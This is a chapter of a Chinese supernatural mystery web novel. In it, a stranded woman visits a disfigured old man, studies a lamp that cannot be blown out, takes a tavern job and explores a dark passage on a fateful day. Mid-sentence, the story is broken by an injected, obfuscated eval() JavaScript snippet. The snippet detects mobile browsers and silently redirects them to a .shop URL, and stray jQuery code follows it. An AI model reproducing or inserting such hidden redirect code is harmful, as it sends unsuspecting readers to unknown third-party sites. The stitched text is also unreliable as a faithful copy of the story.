晚上休息的时候,姚未和利吉亚睡在一起。
时钟滴答滴答,透过窗外的雨声传进耳朵里。
姚未睁开眼睛,久久盯着天花板。
她在被子里摩挲了一下手指,右手食指和拇指的蜕皮清理不干净,边缘总是翘起来,她小心翼翼地伸出手,放到眼前,虽然在黑暗中只能看到手指的轮廓,但她能感受到……
这斑驳的人体表皮,总是因为干燥边缘翘起,那一层已经被烧毁了,烧破了,就像是,就像是老人异常粗糙干燥的皮肤。
姚未想到外套上灼烧的痕迹,那是她将手伸进灯油里被烫到后胡乱擦拭的残留物烧掉的。
至于像熔化一样松弛下垂的五官,她不信自然衰老能变成那个样子。
那就是烧出来的。
这个世界不太讲科学逻辑了,或者说,这些东西超出了她目前的认知范围,总之,一旦接受了所见的设定,一切就变得明朗起来。
明天,利吉亚会带她去见那位老人。
-
酒馆上午很晚才开门,所以一大早吃过早饭,利吉亚就带姚未步行打伞来到酒馆后面她未曾踏足的地方。
酒馆本身就在一排紧连的楼层下,后面是一个单层小院,如果出太阳的话,阳光几乎会被前方的建筑遮得严严实实,而小院后方,则是朝向另一条街的另一排高楼。
其实条形岛就两条街,在小岛边缘围了一圈,也可以算作一条。
利吉亚拍拍院子栅栏处简易的木门,朝里面喊了一声。
无人应答。
利吉亚更加卖力地喊,还是无人回应。她奇怪地嘟囔几句,直接推开门进去。
走在院子中进屋的途中她还在喊,姚未左右扫视院子,里面种了些菜和花,挖了口井,屋子外靠墙摆放着渔网鱼叉等渔具,还有一套斗笠蓑衣。
利吉亚推门直入,姚未跟上,整洁简单的屋子里并除了生活必需品并没有多余的东西,不大的空间略显空荡。
屋子里没人。
利吉亚发出遗憾意外的声音,转身向姚未示意桌边的椅子,意思是要不要坐一会儿等等。
姚未点头。
利吉亚乖乖坐下,没动其他东西。姚未四处看了看,来到屋外,没有撑伞。
四方的楼最高也只有六层,但对于夹在中间突兀的小院来说却如同方天的井壁,由于院子的存在,前后楼的宽度都小了一半。
姚未站在院子中间,对于坐井观天有了具象的体会。
紧接着,她把目光放在那口井上。
井缘用石头砌高,压着一块石板。
姚未尝试移开石板,掀开后以井缘为原点旋转出足够的距离就好,并不用费她多大力气,但对于一个十分年迈的老人来说就未必了。
她离了一点距离,探头往里看,光线不好,水面一半是黑乎乎的石板阴影,一半稍微亮点,雨水打进去能看见井水泛起的涟漪,她的头影在亮的部分。
水离井口不是很深,但如果是一个成年人掉进去,脚踩着水面也很难够得上来。
注视幽深黑暗的井道时,姚未竟生出一种被注视的感觉,仿佛这口井成了一只圆圆的眼睛,正一眨不眨地看着她。而当余光模糊,视野里只有井内的一团黑时,她有了先前进入漫漫长廊的熟悉感。
在她想要直起身时,只见井水泛亮映出她影子的那一半,冒出另一颗头。
姚未迅速转身,眼前出现一张放大的熔化的五官。
软塌塌下垂的皮肤堆出褶皱,雨水顺着褶皱在脸上乱爬。
一道电光闪过,这张近在眼前的脸可以称得上恐怖。
老人稀疏的头发明显是细细打理过的,紧紧贴在头皮上,只有额头那里被雨水砸掉下几缕碎发,蜿蜒着,贴在上面。
在宽大的如同套子的衣物包裹下,仿佛姚未面前站着的是一条直立的被黑色塑料袋兜起来的鱼。
依旧没有开口说话,老人只盯着姚未看了一会儿,转身向屋里走去,经过她身边时,抬起下巴朝井抬了抬。
姚未乖乖把石板盖上。
进屋后,利吉亚拉过姚未跟老人说了什么,老人静静听着,目光始终没有从姚未身上移开。
话音落下,得到点头肯定的利吉亚开心地拉住姚未的胳膊晃呀晃,接着就要带她离开。
姚未连忙打住,表示自己还有问题要问。
手脚并用地接连比划,终于让两位当地人明白了油灯的意思。
老人沉默地带她们走进里屋,打开一个侧边镂空的方柜,一盏油灯静静地在里面燃烧。
姚未走上前细细查看,基本可以确定就是她见过的那盏,她指指火焰,一只手立在唇边,吹气,然后握拳。
老人摇头,拿起灯举到姚未面前,示意她自己吹一口。
姚未照做,火焰以极小的幅度摇晃一下,很快恢复平稳。
姚未更大力气地吹,火焰只是比之前摇晃的幅度大了一丝丝,整体上几乎没受什么影响。
她很想接着问这是什么灯,里面用的是什么油,那个酒柜后莫名出现又消失的空间是什么……可是她问不出来。
还有十二天左右的时间,她来不及学习一门完全陌生的语言。
姚未表示自己没有问题了。
利吉亚和她一起离开,来到酒馆,从抽屉里拿出一把备用钥匙交到她手里,拉着她走到吧台后,并向她展示价格表。
姚未一头雾水。
利吉亚见状也疑惑地看向她。
直到利吉亚对着菜单上的名字向她介绍对应的酒时姚未才恍然大悟,利吉亚误会了她这个举目无亲身无分文的外来者想要在酒馆里找一份工作。
这当然是件好事。姚未万分感激。
这下她可以更好地融入本地,最重要的是,可以合理地一直待在酒馆里,吧台后。
-
接下来的几天,姚未勉强向利吉亚和卡斯卡洛学习了一些常用词,并一直观察来来往往的人类。
不同于这次到来的前两天那般相对平静,后期的人很明显越来越暴躁,饮酒量越来越大,甚至有人爆发了冲突。
始终不见停的雨也随着关键时间点的来临越下越大,人们焦躁不安的情绪在潮湿的空气中躁动地传播。
利吉亚和卡斯卡洛愈发沉默,对姚未的关注和耐心也在随时间快速流逝。
所有的事情都在接近她第一次到来的样子。
日子很快来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650870|143963||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到日历上被标记的当天。
姚未早早地起来,没惊扰母女二人直接来到酒馆。
门锁已经从外面打开了,姚未推门而入。
昏暗的酒馆内部一盏灯都没开,只有吧台上一盏一簇幽幽紫色的火焰在静静燃烧。
她绕过吧台,来到酒柜前,伸出手尝试触碰那黑暗。
后面是一堵墙。
看来还不是时候。
姚未想要寻找老人的身影,未果。
利吉亚来到,打了声招呼便开始忙自己的事,对那盏灯视若无睹。
姚未悄悄打量对方,只感受到了一股从里到外,由最深处散发的,死寂。
和这里的其他所有人一样,到了最后一天,大家都安静得出奇,跟被集体夺舍了一样。不过转念一想,明知自己死期已到,短暂又漫长的等死期间,谁都不会开心得起来。
她识趣地减少存在感。
人渐渐多起来。
一边擦桌子,一边整理想法是姚未常做的,她顺着刚才的思路想,根据大家后面的表现,明显是对船上发生的一切见怪不怪甚至熟悉了,那为什么前期还如此情绪激动?
以及澜波夫人的规则,搞得好像只有她不知道怎么做一样。
澜波……
“Lainbow?”
如果利吉亚早就知道澜波夫人,当初听见姚未说自己叫Rainbow的时候为什么没有任何反应?
总不能,真是一夜之间,这岛上的134号人的壳子底下都换了个人。
一边想一边回到吧台时,老人已经出现在那了。
姚未连忙放下手中的事凑近。
当瘦削苍老的手再次拿起底座时,姚未意外发现,老人的右手少了一根手指。
也许是第一次匆匆一瞥没有看仔细所以忽略了,她这次离得近,注意力集中在这,可以肯定,这只右手就是少了一根手指,就抓握的姿势来看,应该少的是小拇指。
姚未不好光明正大地跟过去,人家未必同意,她还得连比带划地拿自创手语沟通,就等了一会儿。
眼看光亮很快消失在走廊中,姚未立马跟上。
深不见底的黑暗里,同样的观感丧失再度出现。
走了许久来到楼梯,她一边数一边下。
数到七十,没看见亮光。
大约数到一百下,脚下没有台阶了。
她还是没看见光。
于是姚未伸出手摸索着向前走,很快碰到了东西。
是门关上了。
姚未打开大门,眼前仍是一片漆黑,上次不知哪来的光源不见了。
不好的预感如同这黑暗将她包裹。
她清清嗓,像上次一样试探喊道:“你好?”
屏息凝神,没听到水声。
她扯着嗓子又喊了一声,甚至听到了自己的回声。
仍旧没有回应。
事情总是在刚刚有一点眉目时骤然发生变化。
无论如何,她得上去了。
突然的不同让姚未无措应对,也许是她的行为让事件发生了改变。如果不回去,会赶不上邮轮,现在只有去亲自验证她在邮轮上遇到的事情会不会有所不同了。